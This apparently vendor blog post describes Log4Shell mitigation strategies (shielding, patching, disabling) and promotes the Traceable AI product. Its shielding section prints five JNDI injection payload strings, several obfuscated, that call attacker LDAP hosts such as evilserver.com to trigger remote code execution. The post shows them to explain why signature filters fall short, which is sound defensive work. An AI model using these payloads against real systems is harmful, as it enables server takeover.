One of the reasons the Log4j vulnerability is so dangerous is that it is so widespread in applications literally everywhere. Many teams don’t know exactly what they need to patch and will be spending months of discovery and mitigation. There really are three basic mitigation strategies: Shielding or blocking attacks in real-time, Patchingapplications, Disabling specific vulnerable logging functions.  Each of these mitigation strategies faces specific challenges, which I believe Traceable AI helps to overcome.

The “Shielding” challenge:  Variety & Obfuscation

The “shield” mitigation strategy of detecting and blocking the attack traffic at runtime, seems relatively straightforward.  Signatures of malicious payloads are detected and blocked on perimeter defense using solutions such as API Gateways, Web Application Firewalls, and Proxies.  The good news is that by now most vendors have already added signatures to their solutions to help detect and block these exploits.

However, it’s not that simple. The challenge is in the balancing of complete protection vs the risk of high false positives. Due to the variety of JNDI naming protocols that can be used (LDAP, LDAPS, RMI, DNS, NDS, NIS, CORBA) and the many ways that the malicious payload can be obfuscated (eg. using text processors like upper/ lower or lookups like env/sys), there are a large number of attack string combinations that can be created which could bypass signature only based security controls.

Just a few examples are:

// Unobfuscated attack string using ldap (could also be ldaps, rmi, dns, etc)
${jndi:ldap://evilserver.com/runmeforRCE}

// Using text processors 
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

// Default values with empty lookups
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/ace}

// Default value escapes using env lookups
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//abc.com/z}

// Default value escapes using system lookups${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

How Traceable AI helps overcome the Shielding shortcomings

The problem with shielding is being able to accurately detect ‘known’ signatures because the signatures and how they are obfuscated keep changing. Traceable AI is unique in its approach to API security because it is based on Security Observability, meaning a combination of Distributed Tracing and security-focused AI. This means that Traceable AI can protect applications both at their edge using cloud-delivered signatures for known patterns (like a firewall), and Traceable AI can protect applications based on API spans and payloads, based on detecting anomalies in the traffic. Traceable AI’s unique differentiation is in the ability to track, learn, and respond to traffic patterns and deviations from normal traffic patterns.

Edge-based protection can be thwarted by attackers obfuscating their attack payloads into novel variations to elude detection.  With in-app protection, looking for attacks happens when the application has parsed the payload into the basic API call for the look-up, effectively stripping away the obfuscation cloak and showing the exact call.  This means that in-app detection of this attack can be near 100%, regardless of the creative concealment techniques of the attackers.

Traceable AI alone has the ability to detect and block attacks at the application level AND the edge. Through the in-app Java tracing agent, Traceable AI provides comprehensive in-app protection against Log4Shell exploits using built-in blocking against known instances of malicious calls with high accuracy. Additionally, we do provide edge protection with cloud-delivered signatures for known patterns of Log4Shell exploits; however, this faces the same attack signature challenges that every firewall faces.

The “Updating” challenge: Deep Dependencies

Updating all the Log4J libraries is clearly a top priority for IT professionals everywhere.  Updating is the best long-term course of action. However, it’s incredibly hard to rapidly update all vulnerable Log4j libraries because of the proliferation of Log4j into literally every nook and cranny of our systems. Finding them all will take lots of work and time.

It’s everywhere

The majority of Java applications log their data using Log4j. Modern applications are increasingly based on interconnected microservices communicating with APIs. This means it’s very likely that your application is using services that use Log4j. So, you are vulnerable because the microservices you use are vulnerable. Effectively, the vulnerability could show up almost anywhere, including places you don’t control.

It might be hidden

Not only do you lack control, but you probably don’t have visibility to it either. A vulnerable version of Log4j could be used in your application but not appear directly in your project, due to how class management and the dependency handling of Java works:

• It could be hidden away deep within a Java archive file or dependency chain resolved by Maven or Gradle at project build time
  or
• It could be tricky to determine due to class shadowing, which is when one version of a dependency is used over another based on its position in the Java classpath.

Granted, any Log4j scanner that uses the output of Maven or Gradle (the main Java dependency resolvers) should be able to get around these problems. Make sure whatever scanner you are using is not only looking at the code in the project directories.

Where it gets really tricky to be complete in your scanning is where Log4j might be hidden (intentionally or not) using other Java package management techniques such as:

• Java class shading, where the contents of a class are re-packaged into another class, effectively renaming, recompiling, and/or changing the Log4j class while it still maintains the vulnerability
• Dynamically loaded, where it is pulled and run at runtime, for example, as part of a plugin
• And where the runtime environment, not the code itself, uses Log4J, for example, if it is included as part of the application server.

Runtime Scanning

All of these challenges can be overcome if you also scan and block Log4j use at runtime. Of course, you wouldn’t want to block all Log4j use OR all JNDI use, just the vulnerable JNDI API calls. For this, having API-level call visibility will be needed.

How Traceable AI helps overcome the Updating shortcomings

The best way to secure our applications, especially in this distributed, microservices, API-driven world, is to understand the application (at runtime) from the inside out. What is fundamentally needed is understanding the application context and behavior using a combination of traffic observed at the edge (north-south) AND transactions observed from internal communications (east-west).

Traceable AI merges the best of distributed tracing and traffic analysis to give you full visibility of every detail of your application, its APIs, and its internal and external calls. All this data is constantly fed into our AI engine so it can continually adapt its understanding of the application context, API behaviors, and user behaviors, to better be able to detect and block unwanted activity.

This is what we built to help you protect your apps and their APIs in general. Here’s how that can help protect you from Log4Shell exploits: Traceable AI can provide a complete inventory of ALL your APIs where Log4j calls are traversing, giving you the ability to identify and prioritize your patching strategy.

The “Disabling” challenge: unintended consequences

Disabling vulnerable libraries, either by deleting them from JAR files/packages, or by turning them off using predefined environment variables, is another mitigation strategy that we’ve seen used against the Log4j crisis. The idea is that if you eliminate the library, preventing it from running at all, then the vulnerability can’t be exploited.

This strategy might prevent the attack, but there is a very real risk of unintended consequences. Deleting a file or disabling a library that contains the offending API is like doing surgery with a hammer and a spoon. It’s crude and could cause a whole range of unexpected adverse outcomes. Remember the physician’s Hippocratic oath – to “do no harm”, as you are the doctor and the business is your patient – think about your disabling strategy. Might you be causing new problems without assurances of solving the old ones?

Another problem with disabling as mitigation is that it is not persistent. Environment variables, even those set in startup scripts, often get changed, or different scripts used. And deleting an offending file from a library works until the library is upgraded or a different copy is used, resetting the library back to a vulnerable state, possibly without indication.

How Traceable AI helps overcome the Disabling shortcomings

Traceable AI’s Java in-app agent instrumentation enables Traceable AI to see all the internal and external application traffic, with all obfuscation resolved, as described earlier. This means that Traceable AI can directly see ALL the Log4j JNDI calls inside the application. This results in the ability to specifically and precisely identify and block the exact vulnerable API calls with surgical precision and without the need for signatures.

Log4Shell Vaccination:  Log4ShellVax

In many ways, the Log4j vulnerabilities are like the epidemic that we’ve been living through for the past two years.  And the Log4j vulnerabilities are mutating, with each new CVE a new variant of the attack. And with each new variant, we face another round of rapid response.

The industry really needs a way to quickly and effectively detect and block Log4j attacks, like a vaccine. I’m incredibly proud of our work for the past few years building Traceable AI, effectively a Log4j vaccine that will protect you against the vulnerability whether you are patched or not … whether you know if you need to be patched or not.